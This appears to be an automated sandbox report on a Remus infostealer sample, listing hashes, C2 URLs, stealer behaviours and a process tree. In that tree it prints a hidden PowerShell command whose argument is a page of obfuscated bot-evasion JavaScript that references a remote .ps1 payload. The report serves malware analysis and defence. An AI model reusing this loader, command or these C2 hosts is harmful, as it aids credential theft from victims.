Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
14/06/2026, 12:19
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
sunwukongs.exe
Resource
win10v2004-20260513-en
13 signatures
150 seconds
General
- Target sunwukongs.exe
- Size 1.2MB
- Sample260614-phebjaex2l
- SHA256 5205c3eec591a1a025bd4d9d2d2d98c04b2723f7785a2d0e5382572ddeee6b4e
- MD5 2c213dd09ab30c8bd65e03d7f1dcb749
- SHA1 db4d9093c0f9b35d52285bad3852525a3659c1d1
- SHA512 eaa4f3481d0aec70a91fb2f2cef9ce351c13af522f4703fafe321c37916ba5241a1b5e6100fe8488d20ebd42967e94a8339854e68e8de7008ab146c2d3d6cdb7
- SSDEEP 24576:lHx+doVLIPa/5oBYriLeajslN54mHtVOS+v3gCLDQg99aAuBNSKGAPC:lHwK+i/5eYceYszDNVO0CLDQg99aAuBV
- TLSH T17955231523F891A2D4BD037090F242575671B85B9F6896FF2284D2BE0F726E1ED32B4B
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Family
-
remus_stealer
C2
-
http://fusesd.shop:6431
-
http://myrtler.biz:9549
-
http://carogra.biz:4219
Signatures
- Family: Remus
Remus is a stealer written in C++.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1640 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2420 AutoIt3.exe 1516 AutoIt3.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious behavior: EnumeratesProcesses 22 IoCs
pid Process 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe 1516 AutoIt3.exe 1516 AutoIt3.exe 1516 AutoIt3.exe 1516 AutoIt3.exe 1516 AutoIt3.exe 1516 AutoIt3.exe 1640 powershell.exe 1640 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1640 powershell.exe - Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe - Suspicious use of SendNotifyMessage 3 IoCs
pid Process 2420 AutoIt3.exe 2420 AutoIt3.exe 2420 AutoIt3.exe - Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 2128 wrote to memory of 2420 2128 sunwukongs.exe 86 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 2420 wrote to memory of 1516 2420 AutoIt3.exe 91 PID 1516 wrote to memory of 1640 1516 AutoIt3.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\sunwukongs.exe"C:\Users\Admin\AppData\Local\Temp\sunwukongs.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe F.a3x2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2420 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exec bypass <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf8"> <meta name="viewport" content="width=device-width,initial-scale=1.0"> <script> (function(){ setTimeout(function(){ window.location.reload(); }, 5000); }()) </script> <link rel="icon" href="data:,"> <title>One moment, please...</title> <style> .spinner { -webkit-animation: spin 1s ease-out; animation: spin 1s ease-out; } @keyframes spin { 0% { -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); transform: rotate(360deg); } } #outer-container { text-align: center; } #container { display: inline-block; height: 100px; } #text { float: left; height: 100px; line-height: 100px; font-size: 3rem; font-family: "Montserrat", sans-serif; font-optical-sizing: auto; font-weight: 400; font-style: normal; padding: 0 .4em 0 .2em; letter-spacing: 0.06em; color: rgba(38, 122, 72, 0.86); } @media (min-height: 180px) { #outer-container { margin-top: 0; } } @media (min-height: 360px) { #outer-container { margin-top: 5%; } } @media (min-height: 540px) { #outer-container { margin-top: 10%; } } @media (min-height: 720px) { #outer-container { margin-top: 20%; } } @media (min-width: 1450px) { .throbber { width: 90px; height: 90px; float: left; padding: 5px 0 5px 5px; opacity: 0.86; } #container { display: inline-block; border: 3px solid rgb(38, 122, 72, 0.86); border-radius: 51px; height: 100px; } } </style> </head> <body> <div id="outer-container"> <div id="container"> <div class="throbber"> <svg class="spinner" width="90px" height="90px" viewBox="0 0 47 47" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>Loader</title> <defs> <polygon id="path-1" points="0 0.375484146 0 15.7255695 15.7013244 15.7255695 15.7013244 0.375484146 0 0.375484146"></polygon> </defs> <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"> <g id="Logo" transform="translate(-5.000000, -2.000000)"> <g id="Group-2" transform="translate(5.000000, 2.000000)"> <path d="M22.6150244,4.52988293 C23.1538049,3.06256585 23.6031707,1.59582195 24.231939,0.158882927 C25.1902805,2.22459024 25.8190488,4.43989512 26.7768171,6.47579756 C29.1417195,7.40376098 31.7164024,7.7929439 34.1116829,8.69110244 C28.9623171,11.2663585 23.7229634,13.7510537 18.4836098,16.176139 C19.7709512,12.2545049 21.2382683,8.4217122 22.6150244,4.52988293 L22.6150244,4.52988293 Z" id="Fill-1" fill="#467C45"></path> <path d="M13.7718598,8.94461585 C16.1424939,7.68077439 18.4500793,6.28968902 20.8207134,5.02527439 C18.9240915,10.8412378 16.7747012,16.5614817 14.8465549,22.3774451 C12.7292622,18.3950549 10.895689,14.2544695 8.9044939,10.2090305 C8.27228659,8.85004268 7.5455061,7.55353049 7.00844512,6.16359146 C9.31545732,6.95342073 11.4648476,8.24935976 13.7718598,8.94461585" id="Fill-3" fill="#467C45"></path> <path d="M24.2134256,15.0745049 C29.4602305,12.4969561 34.7379866,9.91940732 40.0157427,7.4031878 C39.1565598,9.61276098 38.1747183,11.7300537 37.2232549,13.9086756 C38.4504134,16.2099561 39.9544134,18.388578 41.0898646,20.7511878 C35.4435598,18.9405415 29.8287793,17.0381878 24.2134256,15.0745049" id="Fill-5" fill="#467C45"></path> <g id="Group-9" transform="translate(0.000000, 11.919659)"> <mask id="mask-2" fill="white"> <use xlink:href="#path-1"></use> </mask> <g id="Clip-8"></g> <path d="M8.34869024,0.375484146 C9.93064146,3.33419146 11.2781659,6.43963049 12.7426171,9.45622805 C13.7387878,11.5362646 14.793422,13.5876427 15.7013244,15.7255695 C10.4579585,13.9091915 5.21401951,12.03435 -0.000114634146,10.0718134 C2.05069024,9.1341061 4.21842195,8.4898622 6.29845854,7.61119146 C6.97193415,5.17980122 7.67521463,2.77706951 8.34869024,0.375484146" id="Fill-7" fill="#467C45" mask="url(#mask-2)"></path> </g> <path d="M29.1793195,18.0496049 C33.5600634,19.4670561 37.9081366,21.0776659 42.2888805,22.5593122 C43.6742341,23.0745927 45.1558805,23.4609098 46.5085634,24.1372512 C44.2216122,25.039422 41.9025634,25.9100683 39.6477098,26.8110927 C38.8103073,29.4195927 38.2302585,32.1261049 37.3607585,34.7346049 C35.5890878,31.4497634 34.0432463,28.0353854 32.3684415,24.6852024 C31.3052098,22.4945439 30.1456854,20.3044585 29.1793195,18.0496049" id="Fill-10" fill="#467C45"></path> <path d="M28.9972232,29.3489207 C29.5789915,27.69475 30.0684793,26.0113476 30.7419549,24.3887012 C31.538089,25.7660305 32.1811866,27.2356402 32.9154183,28.6444939 C34.7220524,32.4709817 36.68115,36.205189 38.4568329,40.0316768 C36.2827963,39.1449817 34.1402841,38.1654329 31.9364427,37.2460671 C29.6403207,38.4709329 27.4662841,39.9405427 25.1094061,41.1035061 C26.3033207,37.1549329 27.7419793,33.2671159 28.9972232,29.3489207" id="Fill-12" fill="#467C45"></path> <path d="M4.97133902,25.64555 C9.93385122,27.1873793 14.7737049,29.036428 19.6748878,30.6705378 C20.4148512,30.9170012 21.1542415,31.1944159 21.8328756,31.5337329 C16.5304732,33.9685622 11.3214976,36.6498549 5.95776585,38.99355 C6.82096098,36.8355622 7.89966829,34.7698549 8.7319122,32.581489 C7.68358293,30.1764646 6.11194878,28.01905 4.97133902,25.64555" id="Fill-14" fill="#467C45"></path> <path d="M15.4549183,35.8770488 C19.4671134,33.9317073 23.4483573,31.8952317 27.4915037,30.0433171 C26.4110768,33.6542927 25.0222841,37.203939 23.8186256,40.8143415 C23.1090402,42.7275854 22.5530646,44.7033049 21.7511988,46.5855976 C20.7630524,44.4866463 20.0534671,42.2650366 19.1277963,40.1351341 C16.6276256,39.2094634 14.0042232,38.684439 11.4736744,37.9748537 C12.6773329,37.0801341 14.1584061,36.586061 15.4549183,35.8770488" id="Fill-16" fill="#467C45"></path> </g> </g> </g> </svg> </div> <div id="text"> Please wait while your request is being verified... </div> </div> </div> <div id="gvlpx4o0j0kv"></div> <script> (function(r,A){var a0Y={r:0x19c,A:0x198,x:0x188,p:0x1ac},j=a0p,x=r();while(!![]){try{var p=-parseInt(j(0x1a3))/0x1*(-parseInt(j(0x1a0))/0x2)+-parseInt(j(a0Y.r))/0x3+-parseInt(j(a0Y.A))/0x4+parseInt(j(0x1a7))/0x5*(parseInt(j(0x193))/0x6)+-parseInt(j(a0Y.x))/0x7*(-parseInt(j(0x18f))/0x8)+-parseInt(j(a0Y.p))/0x9+parseInt(j(0x1ab))/0xa*(parseInt(j(0x1b4))/0xb);if(p===A)break;else x['push'](x['shift']());}catch(U){x['push'](x['shift']());}}}(a0x,0x7f380));var a0U=window['navigator'],a0N={'webdriverCheck':function(){var a0K={r:0x1a2},L=a0p;return L(a0K.r)in window||!!a0U[L(0x1a2)];},'userAgentCheck':function(){var a0k={r:0x181},n=a0p;return/headless|bytespider/i[n(a0k.r)](a0U['userAgent']);},'appVersionCheck':function(){var a0F={r:0x182},H=a0p;return/headless/i[H(0x181)](a0U[H(a0F.r)]);},'pluginArraySpoofing':function(){var a0Z={r:0x19b,A:0x195,x:0x1aa,p:0x19a},t=a0p;let r=PluginArray['prototype']===a0U[t(0x19a)][t(a0Z.r)];if(a0U[t(0x19a)][t(a0Z.A)]>0x0)r&=Plugin[t(a0Z.x)]===a0U[t(a0Z.p)][0x0][t(a0Z.r)];return!r;},'mimeTypeArraySpoofing':function(){var a0i={r:0x1b2,A:0x195},b=a0p;let r=MimeTypeArray[b(0x1aa)]===a0U[b(0x1b2)][b(0x19b)];if(a0U[b(a0i.r)][b(a0i.A)]>0x0)r&=MimeType[b(0x1aa)]===a0U[b(a0i.r)][0x0][b(0x19b)];return!r;},'noLanguage':function(){var a0R={r:0x1a9},o=a0p;return!a0U[o(0x19d)]||a0U[o(a0R.r)][o(0x195)]===0x0;},'zeroOuterDimensions':function(){var l=a0p;return window['outerHeigh'+'t']===0x0&&window[l(0x19e)]===0x0;}},a0V=function(x,p){var a0v={r:0x1b1,A:0x18e},a0m={r:0x17e,A:0x1a4},J=a0p,U=(function(){var V=!![];return function(g,a){var O=V?function(){if(a){var D=a['apply'](g,arguments);return a=null,D;}}:function(){};return V=![],O;};}()),N=U(this,function(){var q=a0p;return N['toString']()[q(0x1a4)](q(0x197)+'+$')[q(a0m.r)]()[q(0x1a6)+'r'](N)[q(a0m.A)]('(((.+)+)+)'+'+$');});N(),window['addEventLi'+J(a0v.r)]?window[J(0x184)][J(0x1b3)+J(0x1b1)](J(0x187)+J(0x1a5),x,p):window[J(0x184)][J(a0v.A)+'t'](J(0x191)+J(0x1ad),x);};function a0p(r,A){var x=a0x();return a0p=function(p,U){p=p-0x17c;var N=x[p];return N;},a0p(r,A);}function a0x(){var e=['constructo','4610335lXeijr','GET','languages','prototype','72910nlJlBq','1513440ZHXyaA','techange','filter','getElement','value','stener','mimeTypes','addEventLi','319PptWIj','1b41b08f12','append','toString','form','entries','test','appVersion','send','document','name','action','DOMContent','1309yjsoUX','appendChil','60b54a2be4','method','createElem','d49030b349','attachEven','3176vFcnxc','map','onreadysta','ent','6ehcOHh','type','length','ById','(((.+)+)+)','340600aOfZgf','hidden','plugins','__proto__','1711119uZCiQb','language','outerWidth','open','2qWHJkY','input','webdriver','137026mICcAC','search','Loaded'];a0x=function(){return e;};return a0x();}a0V(function(){var a0M={r:0x184,A:0x1af,x:0x184,p:0x18c,U:0x1a1,N:0x18c,V:0x190,g:0x1ae,a:0x19f,O:0x17e,D:0x185,w:0x1b0,h:0x194,B:0x199,y:0x1b0,G:0x194,s:0x189,X:0x189};setTimeout(function(){var E=a0p,r=window[E(a0M.r)][E(a0M.A)+E(0x196)]('gvlpx4o0j0kv'),A=+((+!+[]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![])),x=window['document'][E(0x18c)+E(0x192)](E(0x17f)),p=window[E(a0M.r)]['createElem'+'ent']('input'),U=window[E(a0M.x)][E(a0M.p)+E(0x192)](E(a0M.U)),N=window[E(0x184)][E(a0M.N)+E(0x192)]('input'),V=window['document'][E(a0M.p)+E(0x192)](E(0x1a1)),g=+((+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!+[]+!![]+!![]+!![]+!![]+!![]+!![])+(+!+[]+!![]+!![]+[])+(+!+[]+!![]+!![])),a='wsidchk',O='pdata',D='https%3A%2F%2Fradiosanducito.uy%2Ftmp%2FReader_en_install_1780328114797.ps1',w='/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f',h='failedChecks',B=Object[E(0x180)](a0N)[E(a0M.V)](([X,d])=>{try{return d()?X:null;}catch(T){return null;}})[E(a0M.g)](X=>X!==null),y=B[E(0x195)]>0x0;if(y){var G=new URLSearchParams();G['append']('id','a6105c0a61'+E(0x17c)+'0950635027'+'9e'),G[E(0x17d)]('ts','1781439627'),G[E(0x17d)](a,A+g),G[E(0x17d)](O,D),B['forEach'](X=>G[E(0x17d)](h,X));var s=new XMLHttpRequest();s[E(a0M.a)]('GET',w+'?'+G[E(a0M.O)]()),s[E(0x183)](null);}else x['id']='gvlpx4o0j0kv',x['style']='display:no'+'ne;',x[E(0x18b)]=E(0x1a8),x[E(0x186)]=w,p['id']='vuufrq2tm7lm',p[E(a0M.D)]=a,p[E(a0M.w)]=A+g,p[E(a0M.h)]=E(a0M.B),N['name']='id',N[E(a0M.y)]='7fa3b767c4'+E(0x18a)+E(0x18d)+'c7',N[E(0x194)]=E(0x199),V[E(0x185)]='ts',V[E(a0M.w)]='1781439627',V[E(0x194)]=E(0x199),U['id']='vebjr4kp8n2z',U[E(0x185)]=O,U[E(0x1b0)]=D,U[E(a0M.G)]=E(a0M.B),x['appendChil'+'d'](p),x[E(a0M.s)+'d'](U),x[E(a0M.X)+'d'](N),x[E(a0M.s)+'d'](V),r[E(0x189)+'d'](x),x['submit']();},0x3e8);},![]); </script> </body> </html>4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
- Size 1.1MB
- SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
- MD5 80cdd5f19d704a001589976bae277bab
- SHA1 96bb030389ac938c5ebc6bd2e9fcc86a10e5f2fd
- SHA512 03fbfd02d348c2b54af3eeb022ae2f1be4e4f9b30352ceb2c7589233275a914ec4fd81ff8c1544bebf96a87e28c75fd81811e658f092536367395048a82bf8fa
- SSDEEP 24576:HsTBc4JYoji1a2gOI6fQJ77jkD1KV3wKct4frNFOB:MTC4a4p+E72SwRcrK
- TLSH T1DA356C0673A4419EFEA7F1329607C60BD6B17C4A07779A6F02646B626F337711A2E331
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\F.a3x
- Size 559KB
- SHA256 9d74177fd89ab505e95408be99ad6e08837d312993c96173ee1e8cb3e388793f
- MD5 3d695f0882ab1c9afe9db54fb57db3b8
- SHA1 5e0609b9479e915eeca11b55803a72621f7a46a7
- SHA512 0b4ba6a7ee1661e4c40d8713c3b697788d5b51ed22a28d47a72fcfb0c12be0dc7bd4c77ff70f1fea6f41970736d3831c557a9035f32150d3a8d8ec3ae47e36af
- SSDEEP 12288:vLpY6tKzeNcBTPoBbirGiTV7ifPWRnrNoWksq/c/clhwrMR4QkRtecI:vLpnK+ioBOrFmWnKDlh54vRtJI
- TLSH T15CC4336839B5E3E2A5EC94307280AB37C2E9F25FCE217D94E000E74D27789769D84ED1
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aggnbg31.whf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH